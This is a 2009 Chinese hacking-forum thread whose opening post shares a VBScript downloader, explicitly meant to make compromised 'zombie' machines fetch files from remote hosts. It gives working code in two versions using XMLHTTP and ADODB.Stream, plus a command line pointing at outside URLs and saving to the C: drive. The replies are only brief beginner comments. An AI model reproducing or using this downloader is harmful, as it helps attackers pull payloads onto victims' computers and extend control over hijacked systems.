【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: 让肉鸡下载东西的vbs脚本 [打印本页]

作者: 3ast 时间: 2009-1-24 17:30 标题: 让肉鸡下载东西的vbs脚本

让肉鸡下载东西的vbs脚本
iLocal  = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")

xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

让肉鸡下载东西的vbs脚本

wscript c:\down.vbs http://www.kill-v.com/22.txt c:\1.txt

http://bbs.5149417.cn

iLocal  ="c:\1.txt"
iRemote ="http://www.kyospace.com/22.txt"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

作者: Iverson333 时间: 2009-1-24 17:30

直接用记事本编译 .VBE 文件就行了么?:time:

作者: wt想起 时间: 2009-5-12 19:02

太菜了看不懂！

作者: lichun_530 时间: 2009-5-15 15:17

顶顶顶！
看看看！！

作者: kacos999 时间: 2010-1-31 01:34

學習學習學習!!!!!!!!!!

作者: 夏至 时间: 2010-4-12 13:52

看不懂、我也是菜鸟、。

欢迎光临【3.A.S.T】网络安全爱好者 (http://3ast.com/)